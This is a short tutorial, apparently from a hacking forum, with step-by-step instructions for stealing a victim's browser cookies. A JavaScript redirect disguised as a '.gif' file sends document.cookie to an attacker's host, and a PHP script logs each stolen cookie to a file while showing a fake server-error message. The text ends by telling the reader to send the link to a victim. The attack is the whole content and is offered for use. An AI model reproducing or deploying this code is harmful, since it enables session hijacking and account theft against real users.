Stealing Cookies with the help of ".gif"

To steal cookies of a browser using ".gif" we have to follow the following steps one by one :-

1. In a notepad copy the script given below
   <script>location.href='http://www.yoursite.com/cookielogger.php?cookie'+escape(document.cookie)</SCRIPT>
   {yoursite-my3gb}and save it as fun.gif
2. Now open a new notepad and copy the following
   <?php
   $filename = "logfile.txt";
   if (isset($_GET["cookie"]))
   {
   if (!$handle = fopen($filename, 'a'))
   {
   echo "Temporary Server Error,Sorry for the inconvenience.";
   exit;
   }
   else
   {
   if (fwrite($handle, "\r\n" . $_GET["cookie"]) === FALSE)
   {
   echo "Temporary Server Error,Sorry for the inconvenience.";
   exit;
   }
   }
   echo "Temporary Server Error,Sorry for the inconvenience.";
   fclose($handle);
   exit;
   }
   echo "Temporary Server Error,Sorry for the inconvenience.";
   exit;
   ?>
   Save it as cookielogger.php
       
       Now save a blank notepad as logfile.txt
   
   Now upload all the 3 files to your webhosting site and send the link to the victim....enjoy!!!